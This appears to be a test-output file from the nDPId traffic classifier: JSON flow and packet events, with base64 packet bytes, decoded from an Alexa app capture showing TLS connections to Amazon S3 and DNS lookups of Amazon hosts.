+00798{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1454,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":97,"flow_packet_id":6,"flow_first_seen":1490976090991,"flow_last_seen":1490976091345,"flow_tot_l4_data_len":459,"flow_min_l4_data_len":20,"flow_max_l4_data_len":235,"flow_avg_l4_data_len":76,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.231.72.88","src_port":41820,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"s3-external-2.amazonaws.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"ea615e28cb25adfb2f261151eab3314f","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +02345{"flow_id":97,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1455,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976091,"pkt_ts_usec":345839,"pkt_caplen":1486,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1486,"pkt_l4_len":1452,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXAzJ9AAOcGa3A250hYrBAq2AG7o1w0YmfLEBUP0lAQAD4APAAAFgMDCkYLAApCAAo\/AAXSMIIFzjCCBLagAwIBAgIQBMfcKOK8HBiR3kAN+oIkNzANBgkqhkiG9w0BAQsFADBkMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSMwIQYDVQQDExpEaWdpQ2VydCBCYWx0aW1vcmUgQ0EtMiBHMjAeFw0xNjA3MTgwMDAwMDBaFw0xNzEwMjYxMjAwMDBaMHYxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdTZWF0dGxlMRgwFgYDVQQKEw9BbWF6b24uY29tIEluYy4xJjAkBgNVBAMMHSouczMtZXh0ZXJuYWwtMS5hbWF6b25hd3MuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxgFi5t9Poottv4yA9sjKTkUeKR0nxIcwIwvLFnS6eJtozACVXMgNBMnYNxtBJITuzZzMGfNOfQ5I3x4aR0p1Vh5BI\/oRM8Zize4Nb1RXsmlqU0QSAPBUn2aS2EzQ70GsGtlaA8Ypyc6xYmv\/ejtxi9iLOUyBQY7hmOKGiSHWC+fw\/kf1JwnVRUI1Ng2tpaadtJLUCsXxJtT1zYnAhOm22p0KTQf86wbxhwI5tBOIKYG15htwGbFHZjDh5jI1RmQgShWsxwIupqTrA1ZGunl3BSCih7giPwspTSV1paONn6iFhdaBisNmXAavJ031zbBm6T1I+AAl+jfuK\/0IGHd7UQIDAQABo4ICaDCCAmQwHwYDVR0jBBgwFoAUwBKyKHRoRmfpcCV0GgBFWwZ9XEQwHQYDVR0OBBYEFMRhhXtDQWVjWAVqI6zMSh\/+fx6GMIGXBgNVHREEgY8wgYyCG3MzLWV4dGVybmFsLTEuYW1hem9uYXdzLmNvbYIdKi5zMy1leHRlcm5hbC0xLmFtYXpvbmF3cy5jb22CG3MzLWV4dGVybmFsLTIuYW1hem9uYXdzLmNvbYIdKi5zMy1leHRlcm5hbC0yLmFtYXpvbmF3cy5jb22CEiouczMuYW1hem9uYXdzLmNvbTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMIGBBgNVHR8EejB4MDqgOKA2hjRodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vRGlnaUNlcnRCYWx0aW1vcmVDQS0yRzIuY3JsMDqgOKA2hjRodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vRGlnaUNlcnRCYWx0aW1vcmVDQS0yRzIuY3JsMEwGA1UdIARFMEMwNwYJYIZIAYb9bAEBMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwCAYGZ4EMAQICMHkGCCsGAQUFBwEBBG0wazAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tMEMGCCsGAQUFBzAChjdodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRCYWx0aW1vcmVDQS0yRzIuY3J0MAwGA1UdEwEB\/wQCMAAwDQYJKoZIhvcNAQELBQADggEBACGCc5e6zWQoCjtzewfTwAojL4HVsnvTH+kNkrApkaprXymS3MP6IUuyqzQo6pzl85nd9XJG6lNZbD\/Aj\/jAS+ZNXfa\/x9cR2IBjPsoZZkqlGLiqQHrbCL3ZOiQYQPZcyFcu3FXb6CxuxcrJa6CaUeJMZr3CsAdvpBc3s7zBqfVPMbF+V9EfEHLk3M9eWuVuXISnrn+pVpM8XZAq1R9\/0Gpke6hG0m8bP1ew0sdkBxG8ms8C3Sld\/w=="} +02036{"flow_id":97,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1456,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976091,"pkt_ts_usec":346214,"pkt_caplen":1257,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1257,"pkt_l4_len":1223,"pkt":"ePiC0\/vCAMDKkVoBCABFAATbzKBAAOcGbFQ250hYrBAq2AG7o1w0Ym1jEBUP0lAYAD4t4QAArkanxPEbwbKd3CLwypjbfWs559TWHFzKn+j766LVovsuE5+bK+6wzq66lFFthbWdg5lIAyUv7wnwc1e52uTF6wz0XiihPS82EAAEZzCCBGMwggNLoAMCAQICEAGC+AmOouYmuRo7J4Qfua8wDQYJKoZIhvcNAQELBQAwWjELMAkGA1UEBhMCSUUxEjAQBgNVBAoTCUJhbHRpbW9yZTETMBEGA1UECxMKQ3liZXJUcnVzdDEiMCAGA1UEAxMZQmFsdGltb3JlIEN5YmVyVHJ1c3QgUm9vdDAeFw0xNTEyMDgxMjA1MDdaFw0yNTA1MTAxMjAwMDBaMGQxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xIzAhBgNVBAMTGkRpZ2lDZXJ0IEJhbHRpbW9yZSBDQS0yIEcyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu+cA\/gABc++biPBcCHXwXHBzH\/+1eh+NCCP9x8ETP7EhBr1NzNstuIcZMd7aaw3BXdJR1bBectTwZtSE8pEYQbUJJrIDlgRplVP6B08+voY6QyuyWbWr0br0WUByWme2zeZV\/AkrpJiyv8ypH9S\/h4+CJf1FgKnsnYz5dJDPHPhlUK\/N+EWryC+NjjYd3uqJzbJS2eUJzTZxK9rG0JvG9qRbWzm2HwAfGaT7074M5vuP3Q6A5qTnWsTAL3LukfODZ8nNys5KsCCB\/eRyrwkY509C7E0nQk0HoN3VDXX3NmDMJlSYoYg38IP3rSlZIM+7JeHVnubzrsEB67UGieIKjwIDAQABo4IBGTCCARUwHQYDVR0OBBYEFMASsih0aEZn6XAldBoARVsGfVxEMB8GA1UdIwQYMBaAFOWdWTCCR1jMrPoIVDaGezq1BE3wMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgGGMDQGCCsGAQUFBwEBBCgwJjAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tMDoGA1UdHwQzMDEwL6AtoCuGKWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9PbW5pcm9vdDIwMjUuY3JsMD0GA1UdIAQ2MDQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMA0GCSqGSIb3DQEBCwUAA4IBAQAv4jdmwxrPkVXuKRT6UBC+mY3iKPF0FgdpO0QwPfW5SfVoNv63MI2p4AdJQmNGUrVpxptJ8hoPV8b2t76rdY0Noqsz5GKFQ1SrY5QMo1Og6h3kpqaslQ5leOwzjL6UPthwq+rH4XjOM5W7+yxY4IpApm1B2NjZs\/kvAsUbcGviOoV7HRiw0UuawW8XECnoDsPhVJZUpZGVCCCNaSyeLz9QtC7lVx+vpHPSoSS7DZD+RRMdp6Ep2GYLw9Fss0+0K4RMR5Dsi+JBiRO2B0Z3Qv27Hhf6\/yVLjlBX647MThU\/sSXdQQygnGJtb7qXB4vZ8wYQxSnU97oWkKjQVOFLSceY"} +01212{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1456,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":97,"flow_packet_id":8,"flow_first_seen":1490976090991,"flow_last_seen":1490976091346,"flow_tot_l4_data_len":3134,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1452,"flow_avg_l4_data_len":391,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.231.72.88","src_port":41820,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"s3-external-2.amazonaws.com","server_names":"s3-external-1.amazonaws.com,*.s3-external-1.amazonaws.com,s3-external-2.amazonaws.com,*.s3-external-2.amazonaws.com,*.s3.amazonaws.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"ea615e28cb25adfb2f261151eab3314f","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert Baltimore CA-2 G2","issuerDN":"C=US, ST=Washington, L=Seattle, O=Amazon.com Inc., CN=*.s3-external-1.amazonaws.com","alpn":"h2,http\/1.1","fingerprint":"C0:51:D8:FA:6B:58:94:F2:3E:4E:7D:B2:36:5F:02:E4:F0:3F:54:FF"}} +00874{"flow_id":97,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1457,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976091,"pkt_ts_usec":346471,"pkt_caplen":392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":392,"pkt_l4_len":358,"pkt":"ePiC0\/vCAMDKkVoBCABFAAF6zKFAAOcGb7Q250hYrBAq2AG7o1w0YnIWEBUP0lAYAD5eRAAAFgMDAU0MAAFJAwAXQQQnWsznNPm2HYucYkoQuvDdbmWFDUw229evyAP852r8fLxGpaB196x8pjSmNGjfwAk6\/8jY4sE60j1vgHuf0R9\/BAEBAEAy6Ts+IfOsXtJqwShDUm7bdKAwEQn4ncLpauHbHhcQIc5W2Epa1kT3xibNsGPtUjSjln7tEECokWh7+lz1VzPgzUfiHtbCoQY1PyviGz++6eotQ\/sgSyVqUG3leaW1GBFbQyHwoZuitlymkEeRcUpebcN12Yyxf39Q3dbBzbxAFNuatGe4ESAur1jKJ9ZfxJVanRKEiYqGZ8gMRZqnmX9iRPtr2eCbcJxVkUvpLUMGbEsGKcHIFjj1KaG3Lgu7TWmFWExi0oi9cPdwwelRkdznkS6X+JDOA01jCVtgUXsqet3oI2bNrK4ktJawHqrEQH7YWk+gS+GNQzT\/EbHRP7c="} +00428{"flow_id":97,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1458,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976091,"pkt_ts_usec":346549,"pkt_caplen":63,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":63,"pkt_l4_len":29,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAxzKJAAOcGcPw250hYrBAq2AG7o1w0YnNoEBUP0lAYAD7PgwAAFgMDAAQOAAAA"} +00417{"flow_id":97,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1459,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976091,"pkt_ts_usec":347251,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAobyRAAEAGdYSsECrYNudIWKNcAbsQFQ\/SNGJny1AQAVf3KQAA"} +00417{"flow_id":97,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1460,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976091,"pkt_ts_usec":347499,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAobyVAAEAGdYOsECrYNudIWKNcAbsQFQ\/SNGJtY1AQAWLxhgAA"} +00417{"flow_id":97,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1461,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976091,"pkt_ts_usec":348707,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAobyZAAEAGdYKsECrYNudIWKNcAbsQFQ\/SNGJyFlAQAW3syAAA"} +00417{"flow_id":97,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1462,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976091,"pkt_ts_usec":348997,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAobydAAEAGdYGsECrYNudIWKNcAbsQFQ\/SNGJzaFAQAXjrawAA"} +00417{"flow_id":97,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1463,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976091,"pkt_ts_usec":349130,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAobyhAAEAGdYCsECrYNudIWKNcAbsQFQ\/SNGJzcVAQAXjrYgAA"} +00446{"flow_id":84,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1488,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976092,"pkt_ts_usec":902682,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8m\/hAAEAGPiGsECrYCsl+8Z0yH5CNbMQpAAAAAKAC\/\/91dAAAAgQFtAQCCAoA9mKZAAAAAAEDAwg="} +00739{"flow_id":89,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1491,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976093,"pkt_ts_usec":200367,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEXPT5AAEAGCNasECrYNF7ohrKPAbuIDFw1wRUUulAYAVfLTAAAFgMBAOoBAADmAwPjfQc08nicJlIWvpWTsnguVDAWVUUtWHA8jlVxZgUfkiCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAg6urMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9CgoAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACHp6AB0AFwAYOjoAAQA="} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1492,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":99,"flow_packet_id":1,"flow_first_seen":1490976093238,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":41639,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":99,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1492,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976093,"pkt_ts_usec":238253,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AMDKkaPvePiC0\/vCCABFAABEWltAAEARM1SsECrYrBAqAaKnADUAMOTtwQkBAAABAAAAAAAAC2RwLWd3LW5hLWpzBmFtYXpvbgNjb20AAAEAAQ=="} +00650{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1492,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":99,"flow_packet_id":1,"flow_first_seen":1490976093238,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":41639,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"dp-gw-na-js.amazon.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +02410{"flow_id":92,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1495,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976093,"pkt_ts_usec":261862,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXc35hAAEAGYbasECrYNF7ohrKSAbuabb\/ln5yDYFAQAVdY4AAAFwMBACAxOXnbOB00Ydbq0myEW0OkHMSFkb95zBRYrCRko6JpzhcDAQYgNLTnSXQ9svgqfKWVlrQngszukuTE7nKnDUEZYxrlAmYbGa1uZ9dFMEH1kcfHo6zOTAkPkSr3v05auMyQXhxyUM+Qlw0ggqwNfizjxfRy\/UTnOo5Ec6FDh\/4oYfa+J46aZ9XLhR8omFWa60IDdQQgnw7SPrV+xQkLTAA4EIb0XbLbGsllipsNHeXmJeh0aGA3ht0tEkwFfjopVs3JQ9XxwS+ghp7l\/eHyOcCrcWOmijXPfIF7fB1t8qMue6sK75mbRQMyOpYkuHC6vGSBi3C6D9dHCwkc4ciV2PxV9fZegOkUhKJT2g893OeHbn+cGu9FChWLZYJ99HQUOumcrur+nZbplAojB8vDFFR+QLS3\/GjgzyyxRFnp1frnHqivV67H6xaSgX4To2ORRiqXdrWzrZTe5qwPtpIKGR5eCf6IenCVXl4BvbLE4M7\/j4sRpg8PMJpWFmWNpJqMDEzui5IhhQZEpuSYq8+NiyjiECAI3NgvGuGdAb39yEbyx8cvLebCZCLKdESYrjT9T8I24aJkp4ulxShcIvVbEgYsFrt4R7NNQmsZvsRraSN5AHW66\/lyhj2UvGjvWqq3zjkIMYYL7+Wl\/3Ucntf6dJt8ceMiIGFRYfTgvDfUSYChK+gyWNX6m29Vpy7tAffHakNsdC9yHGo7HevDE\/7oR\/VfgDFPU9LW4v1iipwz5CoUO2BkN3RrIQjhk0leTMfmnYusHwNR1\/82MFoho2R+4zWvVCSvCCDudehqGb7zkFaYdpSgeUqDlj\/a302l03x6d\/u5O5VKWEs5+Nm6CKagglsyTDXCtT5GMPJ9qOf1KzFXxmKfh1qPGPUjH6uMj\/GmJy0zHHzFCuFvHHs94qWBxhFpG2tQ6e9QQ1ebYXii\/gf9dlVuG3t0huSqTFhYDKyt5k0Z7s8QZ6WsmWGhC0fE3lSSO40hoN9Y5nrXsLSe6fSqCtQT03d03D02RE6GUz3sp+H8gXUCLmZb6sxqTJ209iw3scEnrzCEcXlA058OSXeJag0rV9Erllz5fbKrpS1kCvdLretW1tBL\/vCaHyRPUTAqLrg3\/yFXv78FN5NS31yhsRbNuWC4KWPGRsbmzbNqXSpLm9kYQLNQHMOzjnXOGZ3ynmiP\/Ekzu5zWrH\/GrQ0KbEt5xXHqnEjilk0STUzBka3cPdy8nHfJ8N2xtcw80\/2Scz\/SxWTBvAAQdmy7Qh965JZml\/onIcinXc8tG+6FIod\/TluEUGqO\/nfAgO\/qyqCOstVYkXzqAYQam9FOMH8sFEB9SdhdZ5rHslSZn9jCWBfaphItGETUpwGVGQ\/+I9\/5IqK59SDBxJZ79K\/K9KvvugTFitD8lD0I2dNrqDwk3SMpZ13IUi2xIZtYvGPPcHy\/hI5llZnaVeOqmx4KCM5wXWEoVcrVr0r4sd7p9HPoLeCWaW3j2BR5b0AVjA3Y0mdbN+C2RII\/VeVkCMaX6Su\/9FSy+A5KL6eDEQd1qNbMiJbjsWCnRcJSsq9GonkVGG2LnjE+qXT\/xBRWhUnnEiYNkH8484UfDNwoRVAPYeEM+Z\/TZQ3oKNstYo9ztA\/jxXvIXHuodw2JOBGY\/IqGutMlHdpOGB9ycbkRfwWNOIH8EKqoPD0gUTmb3jdoKTbIOjsbke6GQYzPhkZUJeiFuZQz02XnBPUJ+wKESpvBxhgVUuJl39RFf1GG87lRo94Wath7m0EGZK7ql7mBTpGY1K8j8\/X\/f8GwEd8JQwxjM+YuL20vfjEYa1AeWltEDcjw4Nd6ekBcJiZqv\/llpjT9sejK8H5iNlSWhjJmuUtkLe3YTNvZGPqOYEltH7SvUFE4WbOGrTQ13ySWzAifVyF\/DP56aNnNXFMewttDnvLLszCgJdF\/ZvgK9fj2UpjYBDMa8bM="} +00509{"flow_id":99,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1496,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976093,"pkt_ts_usec":355795,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"ePiC0\/vCAMDKkaPvCABFAABr3WJAAEARsCWsECoBrBAq2AA1oqcAV3huwQmBgAABAAIAAAAAC2RwLWd3LW5hLWpzBmFtYXpvbgNjb20AAAEAAcAMAAUAAQAAAIQACwhkcC1ndy1uYcAYwDQAAQABAAAAFAAEsCBlNA=="} +00677{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1496,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":99,"flow_packet_id":2,"flow_first_seen":1490976093238,"flow_last_seen":1490976093355,"flow_tot_l4_data_len":135,"flow_min_l4_data_len":48,"flow_max_l4_data_len":87,"flow_avg_l4_data_len":67,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":41639,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"dp-gw-na-js.amazon.com","num_queries":1,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"176.32.101.52"}} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1497,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":100,"flow_packet_id":1,"flow_first_seen":1490976093358,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"176.32.101.52","src_port":44001,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":100,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1497,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976093,"pkt_ts_usec":358419,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA88bJAAEAGXMysECrYsCBlNKvhAbv82ZN1AAAAAKAC\/\/+6GAAAAgQFtAQCCAoA9mLHAAAAAAEDAwg="} +02402{"flow_id":93,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1498,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976093,"pkt_ts_usec":420793,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcTQRAAEAG9EqsECrYNF7ohrKTAbvSFy77Qc83glAQAVenLQAAFwMBACD44FHjMfKewfxzYudxIpXCLItB1NQV1muzY\/d798KlbBcDAQZgoZInXHO9a\/RDDSeVUYBvycvA+lS55aPWGYYDHweR1MZA14GeeL19BzQ2hCPJsF0aTTB4YweLpKJF\/kfHoxQ\/Fw3qHRcH9I6qbhb5e+O3CNrELRczYGqEB8hcsA0Y0OyrYGC0BmFkwFsiE2svYlHUsIBdscNt4gzJG\/XkjXpTKhNSwTHXi\/4j\/N3T9gFwsOscfLT6CH3ZSXAK1isi5PE5Gs1eU3CqMd8qgGHaYuaBewyQbS+4dKhNHU2QgmKN8BJo25LfzNEC0AivMD28lAq+J4Wa80fDRt71SDzLwze+m3ULSRverhurIqpNuZFda\/3gnNpbsdGuZJmmo4c+bUdpd8mjwyYflr6VJugHyeI5CFM1G7jT5FCZ8X8UT243wurvWrtFZVQENmBLl9+hFtub7Fuv1TQIXsUIdoXtlR+6EWUeMsW9QleyFbHJ6nVVt5nKiNX0DqGCUdyiA3+ygyM4PjEdwXqP+sMmLM1uKdLCEX7bN1vl8U9g+H14nTlqWgcKGrDWDIm5njQSFgrLTq0DZQMu\/LQjVNY60WnUVFZ9capl9ccErsRT6QLuHcwhWROSEpap+6asa9hoWITyQnHHf+Pbm9I\/f14p1EAPsdYiM3f40B7GCbsB4xiKa3RgPw+L7GKP2ip2\/u+nzD3We0GLN+wfE26o5\/nYjFnEgkrJ2pHao6z5EPxXDupdDVIvi\/PoyVvlUq+D\/Ge6z7wm5zFQ5IJq3RGdeNrRFyg\/OCsjQ0IwpIN5CQT3jbWJKcuzRyXpOTxkW8m5SUiEh55evA+BDSjUAQSbpUAjue6h7J4jbhfFOqKykVETYA47aosSgS459rVz3cetKpF+aO+bhGOdLkRanshFLnFaKbnnafNcVIOR409K84abACiKi7WWOTFacDzKqcTW4LupNjzvzwqbjNJvCCtGYSBdQc7ZWqy6du53PTHcUaL2KA0y5ypD07P4LdIc2\/K5Wy0cd1SKbLICrOCtfpF9whBJZ+CSR0IE4hmfYnmFZFVDwtMffcaAdFMNOPWTgipuN1XINiLvDyYlb\/Y4F03SyVvRzx3zy+5hUwNF07BMM4eX18n7\/ArEvbHUV4zA2cMsmjEuuUT3ywqzrI7XvbdXkLC4q3e10X\/n1CEWpbNcbgIEqB+eYJEI2biPUwBW7S\/Dnkc9NSwrZ\/x\/euPEUXK4CSGgGq8Ij5IUKtV1aqcHTN7waVrVCJl9Q\/RZViK7+SGkqubZ0P+7RhQFbcxwuUFdzRT6jtOcaV+dGnEBgErFPxEomB8JaXlP9OHaQqx5oBi91MLoprKZBTUYOvA4F77Xv9YVFMXwxU\/kxaFIY6H6QP35OocijPkzgLvohZjd4jHabCA7mQXqZw4m5XO+E1PM2pNVMgKlaSzCbp3jIKdgO5mpO1qYK1f0cR2SHN2OQXATtF+ccd\/wUmFaz3gs6BUNnkrQqt6\/+GVaw8Twe6+uqeQWiASsmo8WpBlAJQM76jEAvJ+g\/ovnKk6Cga4RYti4\/9RK01c5pQU1I9BWLJj2xw24mjzaSFssO6l9DB4N7ewSncF0NkjCSgwhzSvj40H0flwRbpZrkso9VcM0WTJjidMTaM\/be473zZS7hr9grGj8F0sl3yf9czWS\/Ld4INvTwCa0bWrHck8K3JAvmYPDlJ0jouHthuvu9VvK+UtN9GhtImMvmNFPCqsNDyrTjsd\/hNs9cLghY1KAq+3bli+ziN0ZH\/hT8HJu3PTKTcveWkvgroBSHw0HiliaiFMBDkJW5Bg0NWNHaQpstQLx+vMRyO3zZOoIe8ScON4IDApzUAhXYVJXgytEDD8pZweKtucxXCP1MBvXhqArIViFE7a3AkcAuJQSCf+JxUG5GterlIwh2UkjzhfbMzNoSkFIJBDA2SUw0E4="} 